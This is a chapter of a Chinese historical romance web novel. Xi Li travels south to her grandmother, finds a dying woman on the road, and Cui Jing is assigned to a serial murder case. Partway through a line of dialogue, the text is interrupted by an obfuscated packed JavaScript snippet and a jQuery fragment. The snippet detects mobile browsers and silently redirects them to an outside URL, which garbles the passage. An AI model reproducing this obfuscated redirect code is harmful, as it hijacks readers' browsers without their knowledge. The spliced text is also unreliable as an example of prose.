经过深思熟虑应下崔璟的请求后,郗黎忽然轻松不少。得知他竟然也在祖父面前有过保证,郗黎更是心定几分。
一闲下来,她便想念起远在江南的祖母,于是这日清晨,她率先向母亲张氏提出想要去江南陪伴祖母。
尽管张氏明白,待公爹寿宴一过女儿还是会离开,可当这一日到来时,她还是眼含泪水,十分不舍。
“黎姐儿就不能待在京城多陪陪娘和你爹爹吗?他虽嘴上不说,可心里还是念着你的,还有你的哥嫂和妹妹……”
姐妹二人难得亲近起来,若是大女儿这一走,姐妹情分怕是又要单薄。
张氏一直是一个温婉柔顺的人,对于一家之主的安排从不与置喙,可这一次竟有想要找丈夫理论的冲动。
郗黎看着这个默默垂泪的妇人,心中五味杂陈,成为这个世界的郗黎那一日起,她便明白自己要承担这个身份应该承担的责任。
可对于亲缘浅薄的她来说,这样的场面太过陌生,她不知该怎么劝说面前之人。
该尽的义务她会尽,但倾注多余的感情是她从始至终都拒绝,又或者说,是害怕。
“母亲,姐姐终究有一日是嫁人的,想必您也不会想要将她嫁出京城之外,顶多过个一两年她便会回来。可祖母怕是这辈子都不会京城了,所以姐姐是替我们去祖母面前尽孝的。”
一旁冷眼旁观的郗安近乎冷酷的一针见血说出问题关键,顿了顿,她继续眨巴着大眼睛,说出与她年龄不相符的话:“待日后孩儿身子好些了,也是会去江南陪伴祖母的。”
张氏哪里不知晓其中道理,可她还是抑制不住的难过。
“母亲,妹妹说得对,等与荣国公府解除婚约时我便回来了,顶多一年而已。”郗黎安慰着,第一句话出口,后面的话也更容易些。
郗黎与韦老夫人相处一年,也渐渐学会了在长辈前讨巧卖乖,慢慢安抚住了张氏的情绪。
临走那一日,张氏站在码头上,迎着风拉着女儿的手百般叮嘱。
“到了之后要记得写信给娘报平安,每月一封家书也莫要忘了……记得替娘好好孝敬你祖母她老人家……”
“娘,您再说下去,三妹妹改赶不上船了。”一旁的郗朗打断母亲的絮絮叨叨。
直到妹妹一年后便归,他倒是没有太大的离别之情。
最后,张氏哀伤地看着女儿娇美的面容,眼泪顺着眼角滑落,“婆母有大智慧,比我更会教养孩子,你跟在她身边,娘也放心。”
嘴上说着放心,手却将郗黎抓得紧紧的。
郗黎被母亲悲伤的情绪淹没,她主动将面前的妇人抱入怀中,声音带着不易察觉的哽咽:“娘,你也很好。”
或许她曾因为幺女忽略过年纪尚小的三女,但对儿女爱护的心,不曾变过。
听到久违的这一声“娘”,张氏忽然痛哭出声,嘴里不断喃喃着“对不起”。
是她的疏忽将女儿越推越远,好在为时不晚。
无论如何不舍,郗黎还是上了那艘南下的大船。
看向站在岸边不断向自己挥手的母亲和兄长,忽然觉得此次京城一行也不是那般令人不安。
直到岸边的人影渐渐模糊,郗黎在丫鬟的提醒下终于收回视线,目光不经意间,似乎看到一抹熟悉的身影,待她细细看去,那人却又消失不见。
暗想是自己看错,郗黎没多想,进了船舱。
从京城到景州的这一段水路,郗黎已然熟悉,当船靠近码头的那一刻,郗黎如释重负的送了口气。
上了祖母派来的马车,一行人向城中而去。
天色渐渐黑沉下来,郗黎估算了入城的时间,还是决定多劳累一会儿,直接进城。
却不想,在即将入城时,拉车的马儿忽然受惊。
“怎么回事?”郗黎问。
“回禀姑娘,这路边有一个昏迷的女子。”那侍卫说完,想到自己看见的那一幕,还是如实回禀说:“属下方才还看到一黑衣男子鬼鬼祟祟向北而去……”
“姑娘,路边那人约莫十六七。”下车查看的青岚欲言又止,神色惊慌,“而且、而且……衣衫不整,已然出气多进气少了。”
凶杀案?甚至比之更为恶劣。
“立即进城,报官。”郗黎眼神坚定。
深夜,陵城官府灯火通明,马蹄声渐近,不多时,门外有些掉漆的登闻鼓被人敲响,不多时,整个府衙立即骚动起来。
郗黎等人等待的时间里,郗府也得知消息派人前来。
知府知晓最近景州的案子居然被郗家的人遇上,顿时一个头两个大。
只好连连承诺后将人送走。
郗黎回到府中,与韦老夫人好好亲热过后,免不了又被数落一番。
也是这时候才得知,景州在月余之内已然发生了两起命案,加上今日这一起已是堂而皇之出现的第三起。
想到那位浑身鲜血淋漓,不知生死的姑娘,堂中一时陷入静寂。
“我本已修书进京让你待在京城,待此事过后再回,既然你已平安到达,日后我便不能依着你的性子仍由你往外跑。”韦老夫人打破寂静。
郗黎疑惑抬眼。
“姑娘有所不知,这死亡的人皆是女子,待今夜之事传出去,整个景州怕是要闹得人心惶惶。”守在韦老夫人身旁的嬷嬷开口一脸凝重,“老夫人也是为了姑娘的安危着想。”
闻言,郗黎看向祖母有些疲惫的面庞,回想起方才她入府时,祖母守在院子里的翘首以盼的模样,苍老的眼中流露出担忧,她恭顺地点了点头。
*
景州惊现大案,自然瞒不过京城。
修仙问道已久的皇帝勒令景州知府尽快找出真凶,以安天下百姓之心。
可不等圣旨送达景州,又一噩耗传来,竟是景州一位从九品司狱的妻子惨遭毒手。
消息传来,朝野哗然,民间流言四起。
许久不上朝的皇帝难得召集朝臣上朝,在大殿上怒气难掩。
民间频频发生命案,岂不是昭示他这个皇帝求仙问道不如兢兢业业治国更能够护佑百姓,不是应了他是昏君的传言?
“不知可有哪位爱卿愿意前往景州协助景州知府将那杀人凶手缉拿归案啊?”
一时间,众人低头不语。
这样的差事,明摆着就是个烫手山芋。
况且因着皇帝的昏庸,朝中溜须拍马者比比皆是,才干出众者寥寥无几,没有人愿意出头。
若是将凶手查出万事皆好,若是查不出,届时民间的流言只会更为难听,到那时皇帝的怒火怕不是那么好浇灭的。
就在龙椅上的皇帝火冒三丈准备发怒之际,之间人群中一位须发花白的老者迈出一步,“回禀陛下,臣以为有一人最为合适。”
皇帝看向出声之人,“郗阁老倒是说说谁最为合适?”
“荣国公府世子,老臣的半个学生——崔璟。”
“俗话说:‘举贤不避亲’,老臣便厚着脸举荐举荐这位学生。崔世子天资聪颖,于断案一道颇有自己的见解,如今朝中众臣皆有自己的差事,何不让小辈出去历练历练。”
皇帝沉思良久,像是终于想起崔璟是何许人一般,恍然看向荣国公,“还以为他只是学问好,没成想,倒是朕将人放错了位置,荣国公,你倒是养了个好儿子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563627|171433||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
荣国公闻言讪笑,低头谦虚几句后便想要以崔璟年幼为由拒绝这份烫手的差事。
崔璟有几斤几两他能不知道,这个郗阁老见退婚不成便想要借他在朝中的势力来逼他妥协。
简直是痴人说梦,不撕下他郗家一层皮他怎么甘心。
“既然诸位没有意见,那此行就定崔璟罢。”
不等荣国公出声,皇帝立即盖棺定论,将那些想要反驳的声音压下。
派人过去,不过是让天下人和朝臣明白他这个皇帝的态度而已,至于凶手能不能找出,并不在他的考虑范围内,若是惹出民怨,届时找几个替死鬼杀了平息便是。
皇帝将众人的神色收入眼底,不甚在意的摆摆手示意退朝。
下朝后,郗阁老将崔璟叫至跟前,面色颇为凝重,“你当真考虑好了?”
崔璟恭敬行礼,以态度回应,“多谢老师成全。”
郗阁老见他去意已决,想到那日这孩子去到郗府,与他商量的事。
说给他一年时间,挣脱荣国公府的桎梏,让黎姐儿日后后顾无忧;同时在这一年里,去尽力博得黎姐儿的心。若是他没有将事办成,退婚一事他自己处理,绝不损害黎姐儿名声半分。
自然,这样的话他也会跟黎姐儿说。
那时他是怎么回应的呢,他记得他说:“只要你能够说服黎姐儿,我这里没有什么不同意。”
从始至终,他始终觉得这两个孩子最为合适。
就在崔璟筹备着如何去景州当差时,景州的案子传回了京城。
于是,他毫不犹豫告诉他,要去景州,要接下这个案子。
那日,身姿挺拔的年轻男子,如一棵迎风而立的松柏,跪在自己面前,不见半分怯懦,目光坚定:“望老师成全。”
那一刻,他是欣慰的,欣慰这个孩子的成长,也是遗憾的,遗憾他与自己的孙女或许没有缘分。
启程这一日,荣国公再次大发雷霆。
书房内,荣国公一脸怒容,“崔璟啊崔璟,你当真以为那郗阁老是为了你好?”
中年男子在书房踱来踱去,“他就是不安好心,为了与我国公府退亲简直连脸皮都不要了。你此去,成了到好,若是不成,你这条命还想要吗,我荣国公府的清誉何在?”
崔璟看着面前的人,面无表情,说来说去,还是在担心自己失败之后连累他日后的仕途乃至性命。
明明知道自己这个父亲心中根本没有自己的位置,却还是会不由自主的驻足。
崔璟,既然决定走出这一步,那便绝不能回头。
“说完了吗?”他毫无情绪问。
“什么?”荣国公的话被骤然打断,疑惑地看向自己的儿子。
崔璟淡淡瞥其一眼,转身出门。
荣国公大怒,差点破口大骂。
他不明白,为何在他以为可以掌控住这个儿子的时候,他又能像泥鳅一样滑不留手,他总觉得哪里不对,但又说不上来,心中隐隐担忧着。
不行,他得事先做好准备,若是此去崔璟没有查出凶手,那他得保证皇上怪罪下来一定牵扯不到他荣国公府其他人。
将父亲的怒气和继母等人的面上忧心忡忡,实则幸灾乐祸抛在身后,崔璟带着郗黎给自己买的小厮骑马前往码头。
那名名叫竹青的小厮瞥见自家公子眼角眉梢渐渐浮现的笑意,才反应过来,为何那日公子不辞辛苦来到码头边却始终不曾露面的原因了。
原是公子已有要去景州的念头了啊。
崔璟看向江面上稳稳停靠的船舶,一双凤眼幽深似海。
黎儿啊,我好像又骗了你呢。